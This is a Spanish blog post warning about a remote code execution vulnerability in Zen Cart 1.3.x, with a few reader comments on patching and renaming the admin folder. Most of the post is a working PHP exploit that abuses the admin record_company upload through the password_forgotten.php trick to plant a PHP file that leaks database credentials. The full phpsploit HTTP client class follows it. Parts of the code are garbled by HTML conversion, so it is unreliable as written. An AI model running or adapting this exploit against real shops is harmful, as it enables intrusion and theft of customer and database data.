Zen Cart 1.3.x – Grave vulnerabilidad

Fallo de seguridadEn milw0rm.com se publican dos scripts (inyección de código, inyección de SQL) para explotar una grave vulnerabilidad que afecta a toda la rama 1.3.x de Zen Cart y que permite inyectar código de forma remota en el directorio de imágenes. Una vez nos inyectan el código en nuestra web, pueden incluso obtener los datos de acceso a la base de datos y borrarla o consultar los datos de nuestros clientes.

En vez de utilizar el exploit original, mostraré una modificación para mostrar los desastrosos efectos que puede tener esta vulnerabilidad de Zen Cart.

En el siguiente ejemplo muestro como nos podrían inyectar código de forma remota permitiéndoles obtener los datos de acceso a la base de datos. Antes de ejecutarlo, es necesario indicar correctamente la URL modificando la variable $url y si la tienda es vulnerable les aparecerá un enlace hacia el documento PHP que muestra los datos de acceso a la base de datos.

                          |  
  ========================================================================
  |                                                                      |
  | \$system> php $argv[0] <url>                                         |
  | Notes: <url>      ex: http://victim.com/site (no slash)              |
  |                                                                      |
  ========================================================================
  ";exit(1);
}*/
 
$url = &#39;http://www.web_con_bug.com&#39;;
$trick = "/password_forgotten.php";
 
$xpl = new phpsploit();
$xpl->agent("Mozilla Firefox");
 
$real_kthxbye = remote_exec($url);
 
// Remote Code Execution Exploit
function remote_exec($url) 
{
  global $xpl, $url, $trick;
 
  echo "\n[-] Ejecuci&oacute; remota de c&oacute;digo";
 
  if(!$xpl->get($url.&#39;/admin/&#39;))
  { 
    die("\n[!] error - El directorio /admin/ es un directorio protegido o no existe.\n");
  }
 
  $n = substr(md5(rand(0, 1337)), 0, 5).".php"; // random php file
  $code = &#39;DB_SERVER: " . DB_SERVER;
 
  echo "DB_SERVER_USERNAME: " . DB_SERVER_USERNAME;
  echo "DB_SERVER_PASSWORD: " . DB_SERVER_PASSWORD;
  echo "DB_DATABASE: " . DB_DATABASE;?>&#39;;
	
  $form = array(frmdt_url => $url."/admin/record_company.php".$trick."?action=insert",
                "record_company_name" => "0",
                "record_company_image" => array(frmdt_type => "tgreal/suce", // it works ! o_O
                                                             frmdt_filename => $n,
                                                             frmdt_content => $code));
 
  if($xpl->formdata($form))
  {
    echo "\n[!] C&oacute;digo inyectado en <a href="\"{$url}/images/{$n}\"">{$url}/images/{$n}</a>";
  }
  else
  {
    die("\n[!] error - No ha sido posible subir el script\n");
  }
}
 
/**
 * 
 * Copyright (C) darkfig
 * 
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 * 
 * TITLE:          PhpSploit Class
 * REQUIREMENTS:   PHP 4 / PHP 5
 * VERSION:        2.0
 * LICENSE:        GNU General Public License
 * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
 * FILENAME:       phpsploitclass.php
 *
 * CONTACT:        gmdarkfig@gmail.com (french / english)
 * GREETZ:         Sparah, Ddx39
 *
 * DESCRIPTION:
 * The phpsploit is a class implementing a web user agent.
 * You can add cookies, headers, use a proxy server with (or without) a
 * basic authentification. It supports the GET and the POST method. It can
 * also be used like a browser with the cookiejar() function (which allow
 * a server to add several cookies for the next requests) and the
 * allowredirection() function (which allow the script to follow all
 * redirections sent by the server). It can return the content (or the
 * headers) of the request. Others useful functions can be used for debugging.
 * A manual is actually in development but to know how to use it, you can
 * read the comments.
 *
 * CHANGELOG:
 *
 * [2007-06-10] (2.0)
 *  * Code: Code optimization
 *  * New: Compatible with PHP 4 by default
 *
 * [2007-01-24] (1.2)
 *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
 *  * New: multipart/form-data enctype is now supported 
 *
 * [2006-12-31] (1.1)
 *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
 *  * New: You can now call the getheader() / getcontent() function without parameters
 *
 * [2006-12-30] (1.0)
 *  * First version
 * 
 */
 
class phpsploit
{
  var $proxyhost;
  var $proxyport;
  var $host;
  var $path;
  var $port;
  var $method;
  var $url;
  var $packet;
  var $proxyuser;
  var $proxypass;
  var $header;
  var $cookie;
  var $data;
  var $boundary;
  var $allowredirection;
  var $last_redirection;
  var $cookiejar;
  var $recv;
  var $cookie_str;
  var $header_str;
  var $server_content;
  var $server_header;
 
 
  /**
   * This function is called by the
   * get()/post()/formdata() functions.
   * You don&#39;t have to call it, this is
   * the main function.
   *
   * @access private
   * @return string $this->recv ServerResponse
   * 
   */
  function sock()
  {
    if(!empty($this->proxyhost) && !empty($this->proxyport))
      $socket = @fsockopen($this->proxyhost,$this->proxyport);
    else
      $socket = @fsockopen($this->host,$this->port);
 
    if(!$socket)
      die("Error: Host seems down");
 
    if($this->method==&#39;get&#39;)
      $this->packet = &#39;GET &#39;.$this->url." HTTP/1.1\r\n";
    elseif($this->method==&#39;post&#39; or $this->method==&#39;formdata&#39;)
      $this->packet = &#39;POST &#39;.$this->url." HTTP/1.1\r\n";
    else
      die("Error: Invalid method");
 
    if(!empty($this->proxyuser))
      $this->packet .= &#39;Proxy-Authorization: Basic &#39;.base64_encode($this->proxyuser.&#39;:&#39;.$this->proxypass)."\r\n";
 
    if(!empty($this->header))
      $this->packet .= $this->showheader();
 
    if(!empty($this->cookie))
      $this->packet .= &#39;Cookie: &#39;.$this->showcookie()."\r\n";
 
    $this->packet .= &#39;Host: &#39;.$this->host."\r\n";
    $this->packet .= "Connection: Close\r\n";
 
    if($this->method==&#39;post&#39;)
    {
      $this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
      $this->packet .= &#39;Content-Length: &#39;.strlen($this->data)."\r\n\r\n";
      $this->packet .= $this->data."\r\n";
    }
    elseif($this->method==&#39;formdata&#39;)
    {
      $this->packet .= &#39;Content-Type: multipart/form-data; boundary=&#39;.str_repeat(&#39;-&#39;,27).$this->boundary."\r\n";
      $this->packet .= &#39;Content-Length: &#39;.strlen($this->data)."\r\n\r\n";
      $this->packet .= $this->data;
    }
 
    $this->packet .= "\r\n";
    $this->recv = &#39;&#39;;
 
    fputs($socket,$this->packet);
 
    while(!feof($socket))
      $this->recv .= fgets($socket);
 
    fclose($socket);
 
    if($this->cookiejar)
      $this->getcookie();
 
    if($this->allowredirection)
      return $this->getredirection();
    else
      return $this->recv;
  }
 
 
  /**
   * This function allows you to add several
   * cookies in the request.
   * 
   * @access  public
   * @param   string cookn CookieName
   * @param   string cookv CookieValue
   * @example $this->addcookie(&#39;name&#39;,&#39;value&#39;)
   * 
   */
  function addcookie($cookn,$cookv)
  {
    if(!isset($this->cookie))
      $this->cookie = array();
 
    $this->cookie[$cookn] = $cookv;
  }
 
 
  /**
   * This function allows you to add several
   * headers in the request.
   *
   * @access  public
   * @param   string headern HeaderName
   * @param   string headervalue Headervalue
   * @example $this->addheader(&#39;Client-IP&#39;, &#39;128.5.2.3&#39;)
   * 
   */
  function addheader($headern,$headervalue)
  {
    if(!isset($this->header))
      $this->header = array();
 
    $this->header[$headern] = $headervalue;
  }
 
  /**
   * This function allows you to use an
   * http proxy server. Several methods
   * are supported.
   * 
   * @access  public
   * @param   string proxy ProxyHost
   * @param   integer proxyp ProxyPort
   * @example $this->proxy(&#39;localhost&#39;,8118)
   * @example $this->proxy(&#39;localhost:8118&#39;)
   * 
   */
  function proxy($proxy,$proxyp=&#39;&#39;)
  {
    if(empty($proxyp))
    {
      $proxarr = explode(&#39;:&#39;,$proxy);
      $this->proxyhost = $proxarr[0];
      $this->proxyport = (int)$proxarr[1];
    }
    else 
    {
      $this->proxyhost = $proxy;
      $this->proxyport = (int)$proxyp;
    }
 
    if($this->proxyport > 65535)
      die("Error: Invalid port number");
  }
 
  /**
   * This function allows you to use an
   * http proxy server which requires a
   * basic authentification. Several
   * methods are supported:
   *
   * @access  public
   * @param   string proxyauth ProxyUser
   * @param   string proxypass ProxyPass
   * @example $this->proxyauth(&#39;user&#39;,&#39;pwd&#39;)
   * @example $this->proxyauth(&#39;user:pwd&#39;);
   * 
   */
  function proxyauth($proxyauth,$proxypass=&#39;&#39;)
  {
    if(empty($proxypass))
    {
      $posvirg = strpos($proxyauth,&#39;:&#39;);
      $this->proxyuser = substr($proxyauth,0,$posvirg);
      $this->proxypass = substr($proxyauth,$posvirg+1);
    }
    else
    {
      $this->proxyuser = $proxyauth;
      $this->proxypass = $proxypass;
    }
  }
 
  /**
   * This function allows you to set
   * the &#39;User-Agent&#39; header.
   * 
   * @access  public
   * @param   string useragent Agent
   * @example $this->agent(&#39;Firefox&#39;)
   * 
   */
  function agent($useragent)
  {
    $this->addheader(&#39;User-Agent&#39;,$useragent);
  }
 
  /**
   * This function returns the headers
   * which will be in the next request.
   * 
   * @access  public
   * @return  string $this->header_str Headers
   * @example $this->showheader()
   * 
   */
  function showheader()
  {
    $this->header_str = &#39;&#39;;
 
    if(!isset($this->header))
      return;
 
    foreach($this->header as $name => $value)
      $this->header_str .= $name.&#39;: &#39;.$value."\r\n";
 
    return $this->header_str;
  }
 
  /**
   * This function returns the cookies
   * which will be in the next request.
   * 
   * @access  public
   * @return  string $this->cookie_str Cookies
   * @example $this->showcookie()
   * 
   */
  function showcookie()
  {
    $this->cookie_str = &#39;&#39;;
 
    if(!isset($this->cookie))
      return;
 
    foreach($this->cookie as $name => $value)
      $this->cookie_str .= $name.&#39;=&#39;.$value.&#39;; &#39;;
 
    return $this->cookie_str;
  }
 
  /**
   * This function returns the last
   * formed http request.
   * 
   * @access  public
   * @return  string $this->packet HttpPacket
   * @example $this->showlastrequest()
   * 
   */
  function showlastrequest()
  {
    if(!isset($this->packet))
      return;
    else
      return $this->packet;
  }
 
  /**
   * This function sends the formed
   * http packet with the GET method.
   * 
   * @access  public
   * @param   string url Url
   * @return  string $this->sock()
   * @example $this->get(&#39;localhost/index.php?var=x&#39;)
   * @example $this->get(&#39;http://localhost:88/tst.php&#39;)
   * 
   */
  function get($url)
  {
    $this->target($url);
    $this->method = &#39;get&#39;;
    return $this->sock();
  }
 
  /**
   * This function sends the formed
   * http packet with the POST method.
   *
   * @access  public
   * @param   string url  Url
   * @param   string data PostData
   * @return  string $this->sock()
   * @example $this->post(&#39;http://localhost/&#39;,&#39;helo=x&#39;)
   * 
   */	
  function post($url,$data)
  {
    $this->target($url);
    $this->method = &#39;post&#39;;
    $this->data = $data;
    return $this->sock();
  }
 
  /**
   * This function sends the formed http
   * packet with the POST method using
   * the multipart/form-data enctype.
   * 
   * @access  public
   * @param   array array FormDataArray
   * @return  string $this->sock()
   * @example $formdata = array(
   *                      frmdt_url => &#39;http://localhost/upload.php&#39;,
   *                      frmdt_boundary => &#39;123456&#39;, # Optional
   *                      &#39;var&#39; => &#39;example&#39;,
   *                      &#39;file&#39; => array(
   *                                frmdt_type => &#39;image/gif&#39;,  # Optional
   *                                frmdt_transfert => &#39;binary&#39; # Optional
   *                                frmdt_filename => &#39;hello.php,
   *                                frmdt_content => &#39;&#39;));
   *          $this->formdata($formdata);
   * 
   */
  function formdata($array)
  {
    $this->target($array[frmdt_url]);
    $this->method = &#39;formdata&#39;;
    $this->data = &#39;&#39;;
 
    if(!isset($array[frmdt_boundary]))
      $this->boundary = &#39;phpsploit&#39;;
    else
      $this->boundary = $array[frmdt_boundary];
 
    foreach($array as $key => $value)
    {
      if(!preg_match(&#39;#^frmdt_(boundary|url)#&#39;,$key))
      {
        $this->data .= str_repeat(&#39;-&#39;,29).$this->boundary."\r\n";
        $this->data .= &#39;Content-Disposition: form-data; name="&#39;.$key.&#39;";&#39;;
				
        if(!is_array($value))
        {
          $this->data .= "\r\n\r\n".$value."\r\n";
        }
        else
        {
          $this->data .= &#39; filename="&#39;.$array[$key][frmdt_filename]."\";\r\n";

          if(isset($array[$key][frmdt_type]))
            $this->data .= &#39;Content-Type: &#39;.$array[$key][frmdt_type]."\r\n";

          if(isset($array[$key][frmdt_transfert]))
            $this->data .= &#39;Content-Transfer-Encoding: &#39;.$array[$key][frmdt_transfert]."\r\n";

          $this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
        }
      }
    }
 
    $this->data .= str_repeat(&#39;-&#39;,29).$this->boundary."--\r\n";
    return $this->sock();
  }
 
  /**
   * This function returns the content
   * of the server response, without
   * the headers.
   * 
   * @access  public
   * @param   string code ServerResponse
   * @return  string $this->server_content
   * @example $this->getcontent()
   * @example $this->getcontent($this->get(&#39;http://localhost/&#39;))
   * 
   */
  function getcontent($code=&#39;&#39;)
  {
    if(empty($code))
      $code = $this->recv;
 
    $code = explode("\r\n\r\n",$code);
    $this->server_content = &#39;&#39;;
		
    for($i=1;$i<count($code);$i++) this-="">server_content .= $code[$i];
 
    return $this->server_content;
  }
 
  /**
   * This function returns the headers
   * of the server response, without
   * the content.
   * 
   * @access  public
   * @param   string code ServerResponse
   * @return  string $this->server_header
   * @example $this->getcontent()
   * @example $this->getcontent($this->post(&#39;http://localhost/&#39;,&#39;1=2&#39;))
   * 
   */
  function getheader($code=&#39;&#39;)
  {
    if(empty($code))
      $code = $this->recv;
 
    $code = explode("\r\n\r\n",$code);
    $this->server_header = $code[0];
 
    return $this->server_header;
  }
 
  /**
   * This function is called by the
   * cookiejar() function. It adds the
   * value of the "Set-Cookie" header
   * in the "Cookie" header for the
   * next request. You don&#39;t have to
   * call it.
   * 
   * @access private
   * @param  string code ServerResponse
   * 
   */
  function getcookie()
  {
    foreach(explode("\r\n",$this->getheader()) as $header)
    {
      if(preg_match(&#39;/set-cookie/i&#39;,$header))
      {
        $fequal = strpos($header,&#39;=&#39;);
        $fvirgu = strpos($header,&#39;;&#39;);
				
        // 12=strlen(&#39;set-cookie: &#39;)
        $cname  = substr($header,12,$fequal-12);
        $cvalu  = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));
 
        $this->cookie[trim($cname)] = trim($cvalu);
      }
    }
  }
 
  /**
   * This function is called by the
   * get()/post() functions. You
   * don&#39;t have to call it.
   *
   * @access  private
   * @param   string urltarg Url
   * @example $this->target(&#39;http://localhost/&#39;)
   * 
   */
  function target($urltarg)
  {
    if(!ereg(&#39;^http://&#39;,$urltarg))
      $urltarg = &#39;http://&#39;.$urltarg;
   
    $urlarr     = parse_url($urltarg);
    $this->url  = &#39;http://&#39;.$urlarr[&#39;host&#39;].$urlarr[&#39;path&#39;];
		
    if(isset($urlarr[&#39;query&#39;]))
      $this->url .= &#39;?&#39;.$urlarr[&#39;query&#39;];

    $this->port = !empty($urlarr[&#39;port&#39;]) ? $urlarr[&#39;port&#39;] : 80;
    $this->host = $urlarr[&#39;host&#39;];

    if($this->port != &#39;80&#39;)
      $this->host .= &#39;:&#39;.$this->port;

    if(!isset($urlarr[&#39;path&#39;]) or empty($urlarr[&#39;path&#39;]))
      die("Error: No path precised");
 
    $this->path = substr($urlarr[&#39;path&#39;],0,strrpos($urlarr[&#39;path&#39;],&#39;/&#39;)+1);

    if($this->port > 65535)
      die("Error: Invalid port number");
  }
 
  /**
   * If you call this function,
   * the script will extract all
   * &#39;Set-Cookie&#39; headers values
   * and it will automatically add
   * them into the &#39;Cookie&#39; header
   * for all next requests.
   *
   * @access  public
   * @param   integer code 1(enabled) 0(disabled)
   * @example $this->cookiejar(0)
   * @example $this->cookiejar(1)
   * 
   */
  function cookiejar($code)
  {
    if($code==&#39;0&#39;)
      $this->cookiejar=FALSE;
    elseif($code==&#39;1&#39;)
      $this->cookiejar=TRUE;
   }
 
  /**
   * If you call this function,
   * the script will follow all
   * redirections sent by the server.
   * 
   * @access  public
   * @param   integer code 1(enabled) 0(disabled)
   * @example $this->allowredirection(0)
   * @example $this->allowredirection(1)
   * 
   */
  function allowredirection($code)
  {
    if($code==&#39;0&#39;)
      $this->allowredirection=FALSE;
    elseif($code==&#39;1&#39;)
      $this->allowredirection=TRUE;
  }
 
  /**
   * This function is called if
   * allowredirection() is enabled.
   * You don&#39;t have to call it.
   *
   * @access private
   * @return string $this->get(&#39;http://&#39;.$this->host.$this->path.$this->last_redirection)
   * @return string $this->get($this->last_redirection)
   * @return string $this->recv;
   * 
   */
  function getredirection()
  {
    if(preg_match(&#39;/(location|content-location|uri): (.*)/i&#39;,$this->getheader(),$codearr))
    {
      $this->last_redirection = trim($codearr[2]);
 
      if(!ereg(&#39;://&#39;,$this->last_redirection))
        return $this->get(&#39;http://&#39;.$this->host.$this->path.$this->last_redirection);
      else
        return $this->get($this->last_redirection);
    }
    else
      return $this->recv;
  }
 
  /**
   * This function allows you
   * to reset some parameters.
   * 
   * @access  public
   * @param   string func Param
   * @example $this->reset(&#39;header&#39;)
   * @example $this->reset(&#39;cookie&#39;)
   * @example $this->reset()
   * 
   */
  function reset($func=&#39;&#39;)
  {
    switch($func)
    {
      case &#39;header&#39;:
        $this->header = array(&#39;&#39;);
        break;
 
      case &#39;cookie&#39;:
        $this->cookie = array(&#39;&#39;);
        break;
 
      default:
        $this->cookiejar = &#39;&#39;;
        $this->header = array(&#39;&#39;);
        $this->cookie = array(&#39;&#39;);
        $this->allowredirection = &#39;&#39;;
        break;
    }
  }
}
</count($code);$i++)></url></url>

Este script no funciona en caso de no encontrar el directorio admin y es por eso que podemos aplicar la solución que se comenta en el foro de Zen Cart.

Comparte esta entrada:
  • Facebook
  • Bitacoras.com
  • LinkedIn
  • Meneame
  • Twitter


5 Respuestas to “Zen Cart 1.3.x – Grave vulnerabilidad”

  1. MERVIR dice:

    El parche de seguridad no funciona con todas las versiones y en alguna de ellas produce errores serios, básicamente se debe a las contribuciones instaladas a posteriori.

    Por otro lado, el renombrar la carpeta admin es una buena solución siempre y cuando se renombre por una carpeta alfanumérica, cambiar admin por administar o puertatrasera, o el nombre de la tienda no sirve de nada.

    Cuando renombreis la carpeta admin tened en cuenta que hay muchas contribuciones, como las formas de pago, que referencian la carepta admin. Si no las cambiais tambien sufrireis fallos. Un ejemplo podría ser las pasarelas de pago. Si no editas el fichero y reapuntas a la nueva carpeta, la pasarela de pago no sabrá volver a tu tienda cuando el pago esté realizado.

    Aqui lo explicamos mejor

    http://zencart.foroactivo.net/sugerencias-f3/como-proteger-mi-zencart-de-ataques-recomendaciones-de-seguridad-t10.htm#16

    Un saludo
    MERVIR

  2. Sergio Guerrero dice:

    Perfecto Mervir,

    Gracias por tu aportación.

  3. En todo caso si este codigo es tan grave…que puede llegar a derribar grandes tiendas en linea desarrollado con ZC…Por que se sigue publicando?…a dodigo abierto?

  4. Este es uno de los motivos que hacen que seamos poco partidarios de usar estos modulos…

  5. santi dice:

    Esto es de gran ayuda.

Deja tu respuesta